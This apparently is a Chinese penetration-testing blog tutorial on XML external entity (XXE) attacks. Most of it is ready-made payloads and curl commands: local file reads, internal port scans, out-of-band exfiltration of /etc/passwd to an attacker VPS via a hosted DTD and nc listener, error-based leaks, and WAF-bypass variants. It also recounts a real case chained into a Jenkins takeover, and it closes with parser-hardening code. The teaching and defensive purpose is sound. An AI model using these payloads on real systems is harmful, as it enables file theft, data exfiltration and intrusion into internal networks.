title: 【教程】XXE漏洞从入门到实战:文件读取/内网探测/OOB盲注全解
date: 2026-05-27
tags: [xxe, xml, 渗透测试, 实战教程, 漏洞利用]
适合人群:初中级渗透测试人员、安全开发工程师
前置知识:XML基本语法、HTTP请求基础
实验环境:本地靶场(xxe-lab 或 PortSwigger XXE Lab)
一、前置准备
工具安装
# 1. xxe-lab 靶场(Docker一键部署)
git clone https://github.com/c0ny1/xxe-lab.git
cd xxe-lab/php_xxe
docker build -t xxe-lab .
docker run -d -p 8080:80 xxe-lab
# 2. 监听工具(用于OOB盲注)
pip3 install flask # 简易HTTP外带接收
# 或直接用 nc 监听
nc -lvnp 9999
# 3. Burp Suite / mitmproxy(抓包改包)
# 脚本化推荐用 mitmproxy + Python
靶场验证
# 确认靶场正常运行
curl -s http://localhost:8080/login.php
# 返回登录页面 → 环境就绪
二、核心原理
XXE 的本质:XML 解析器在处理 XML 文档时,如果没有禁用外部实体(External Entity)解析,攻击者可以通过精心构造的 XML,让服务器去读取本地文件、发起 HTTP 请求,甚至执行代码。
一句话理解
XML 里的
<!ENTITY xxe SYSTEM "file:///etc/passwd">就像在说:"帮我读一下 /etc/passwd,把内容放到 &xxe; 这个位置"
>
如果解析器不加检查地执行了——你就拿到了服务器的敏感文件。
漏洞触发条件
| 条件 | 说明 |
|---|---|
| XML解析器 | 使用 libxml、SimpleXML、DOMDocument 等 |
| 未禁用DTD | libxml_disable_entity_loader(false) 或默认开启 |
| 用户可控输入 | 传参/上传/API请求体包含XML |
三、实操步骤
第1步:找入口点
常见的 XXE 入口:
1. Content-Type 为 text/xml 或 application/xml 的接口
2. SOAP Web Service(看 body 是否包含 <soap:Envelope>)
3. 文件上传 → SVG / DOCX / XLSX / PDF(内部是XML)
4. JSON 接口但尝试改 Content-Type 为 text/xml
核心技巧:看到一个 POST 接口只收 JSON,试试把 Content-Type 改成 text/xml 并发送 XML payload。
第2步:基础文件读取(有回显)
<!-- Linux 读 /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Windows 读系统文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>&xxe;</root>
<!-- PHP环境读源码(用伪协议) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root>&xxe;</root>
发送命令(curl):
curl -X POST http://localhost:8080/login.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>'
响应中如果返回了 /etc/passwd 内容 → 确认存在 XXE!
第3步:内网探测(SSRF)
利用 XXE 可以探测内网服务:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
]>
<root>&xxe;</root>
通过响应时间/错误信息判断端口是否开放:
| 探测地址 | 预期结果 |
|---|---|
http://192.168.1.1:80 | 若通 → 返回路由页面/超时 |
http://192.168.1.100:3306 | 若通 → MySQL 错误信息 |
http://192.168.1.100:6379 | 若通 → Redis 未授权 |
批量探测脚本:
for port in 22 80 443 3306 6379 8080 9000; do
curl -s -X POST http://target/api \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM \"http://192.168.1.100:$port\">
]>
<root>&xxe;</root>" &
done
wait
第4步:OOB 盲注(无回显场景)
现实中最常见的情况——响应里啥也不显示。这时候需要 OOB(Out-of-Band)外带数据。
原理:让目标服务器把文件内容通过 HTTP 请求发送到你的 VPS。
4.1 在你的 VPS 上创建恶意 DTD
/var/www/html/exfil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://你的VPS:9999/?data=%file;'>">
%all;
4.2 VPS 开启监听
# Python 简易接收
python3 -c "
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def recv():
with open('/tmp/xxe.log', 'a') as f:
f.write(request.args.get('data', '') + '\n')
return 'ok'
app.run(host='0.0.0.0', port=9999)
"
或直接用 netcat:
nc -lvnp 9999
4.3 发送 OOB Payload
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://你的VPS/exfil.dtd">
%dtd;
%send;
]>
<root>test</root>
成功标志:VPS 的终端上看到 /etc/passwd 内容被拼在 URL 参数中发过来了。
⚠️ 大坑:文件内容含特殊字符(换行/&/<>)会导致 URL 中断。解决方法——用 PHP 的 Base64 编码:
```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
```
第5步:报错型 XXE
连 OOB 都要绕的情况下,试试报错注入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexist/%file;'>">
%eval;
%error;
]>
<root>test</root>
原理:解析器尝试读取不存在的文件 file:///nonexist/root:x:0:0:... → 路径不合法 → 报错信息中泄露文件内容。
四、绕过技术
4.1 编码绕过(WAF拦截SYSTEM/ENTITY关键词)
UTF-7 编码:
<?xml version="1.0" encoding="UTF-7"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
UTF-7 编码后的等价形式(WAF 可能不认识):
+ADw-?xml version="1.0" encoding="UTF-7"+ADw-?
+ADw-!DOCTYPE root +ADw-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4-
+AD4-+ADw-root+AD4-&xxe;+ADw-/root+AD4-
4.2 协议绕过
| 被禁协议 | 替代方案 |
|---|---|
file:// | php://filter/、ftp://、expect:// |
http:// | https://、ftp:// |
php:// | file:// + compress.zlib:// |
4.3 XInclude 绕过(无法控制整个 XML 时)
当只能控制 XML 文档某个元素值而不是整个文档时:
<root>
<name xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</name>
</root>
4.4 CDATA 处理(文件内容含特殊字符)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY xxe '%start;%file;%end;'>">
%all;
]>
<root>&xxe;</root>
五、实战案例复盘
案例:某后台管理系统 SVG 上传 XXE
发现过程:
- 头像上传功能,支持 JPG/PNG/SVG
- 上传一个合法的 SVG 图片
- 拦截请求,发现上传接口接受
Content-Type: image/svg+xml - 用 Burp Repeater 修改 SVG 内容:
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>
- 访问上传后的 SVG → 图片上显示了
/etc/passwd内容
深入利用:
- 读
/etc/hosts→ 发现内网网段172.16.0.0/12 - 用 XXE-SSRF 探测内网 → 发现
172.16.0.10:8080是 Jenkins 管理后台 - 配合 Jenkins 弱口令(admin/admin)→ 拿到服务器权限
六、防御建议
代码层(开发者必看)
# Python — 用 defusedxml 替代标准库
from defusedxml import ElementTree
# 默认禁止外部实体
# Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# PHP
libxml_disable_entity_loader(true);
# C#/.NET
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // 禁止外部实体解析
安全层
- 禁用 DOCTYPE 声明
- 禁用外部实体(general + parameter)
- 能用 JSON 就别用 XML
- WAF 规则拦截
DOCTYPE、ENTITY、SYSTEM关键词 - 对上传的 SVG 剥离 XML 外部实体
七、常见陷阱
| 陷阱 | 现象 | 解决办法 |
|---|---|---|
| 只接JSON | 返回415/400 | 改 Content-Type: text/xml |
| 无回显 | 响应为空 | 用 OOB 或报错型 |
| 特殊字符截断 | OOB 数据不全 | 用 Base64 编码文件 |
| libxml 版本限制 | 部分协议不可用 | 切换协议(expect/ftp) |
| 参数实体嵌套 | XML 解析报错 | 注意参数实体间不能直接嵌套,用中介DTD |
八、总结速查表
# 有回显 → 直接读文件
curl -X POST http://target/api -H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE r[<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>'
# 无回显 → OOB外带
# 1. VPS: echo '<!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % a "<!ENTITY s SYSTEM '"'"'http://VPS/?%f;'"'"'>">%a;' > dtd
# 2. VPS: nc -lvnp 9999
# 3. 发送: <?xml version="1.0"?><!DOCTYPE r[<!ENTITY % d SYSTEM "http://VPS/dtd"><!ENTITY % s "">%d;]><r>1</r>
# 探测内网
curl -X POST http://target/api -H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE r[<!ENTITY x SYSTEM "http://172.16.0.1:80">]><r>&x;</r>'
本文发布于 PingSec 安全博客,转载请注明出处。